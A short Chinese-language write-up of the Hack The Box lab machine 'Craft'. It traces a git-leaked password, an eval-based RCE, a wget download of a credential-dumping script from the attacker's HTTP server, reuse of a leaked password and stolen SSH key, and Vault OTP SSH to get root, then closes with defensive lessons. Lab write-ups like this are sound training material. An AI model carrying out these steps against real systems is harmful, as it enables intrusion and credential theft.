3 January 2020
[writeup] HTB Craft
by xiangxiang
0x00 信息收集
- web
在页面上点一下发现会有对下面几个页面的访问请求
https://gogs.craft.htb
https://api.craft.htb/api
- 修改本地的
/etc/hosts
,加入
10.10.10.110 craft.htb
10.10.10.110 gogs.craft.htb
10.10.10.110 api.craft.htb
https://gogs.craft.htb
- 把代码clone下来, 接下来就是代码审计
git -c http.sslVerify=false clone https://gogs.craft.htb/Craft/craft-api.git
代码审计
- password leak: git commit
a2d28ed155
中leak了一个用户名密码,后面只是删除了重新commit
eval
is evil: 为了修复Bogus ABV values的issue, 代码中引入了一个基于eval
的判断
eval
RCE漏洞利用
user flag
- 参考
dbtest.py
写一个dump用户名密码的python脚本,传到容器里执行
-
本地用python -m SimpleHTTPServer
开一个http server, 容器里面执行wget http://10.10.16.19:8000/dbdump.py
-
容器里面执行python dbdump.py
, 拿到所有用户名密码
-
使用这三个账户去尝试登录ssh, 均失败
-
gilfoyle账户可以成功登录gogs.craft.htb, 发现一个新的私有仓库craft-infra
,这个repos里面有登录的ssh key文件 id_rsa
-
gilfoyle同志一套密码打天下,ssh key文件 id_rsa
密码还是ZEU3N8WNM2rh4T
-
ssh gilfoyle@10.10.10.110 -i id_rsa
成功拿到user flag
root flag
-
关键还是需要去枚举gogs上的私有仓库craft-infra
-
有一个vault
服务
-
跑一下LinEnum.sh的脚本,发现也有vault server
的进程在跑
-
仔细读一下craft-infra
的文件,再参考vault的文档
-
然后vault ssh -mode=otp -role root_otp root@10.10.10.110
一下就有root flag了
lessons
- git提交的代码中不要有密码,要另外放文件并把文件加入到.gitignore里面
- git仓库清理方法要正确
- 用户密码不能明文保存
- 不要使用危险的函数,比如
eval
, 如果没有代码扫描工具可以通过简单的grep
命令进行自动审计
- 不要一套密码打天下
tags: htb hackthebox writup craft vault code-review git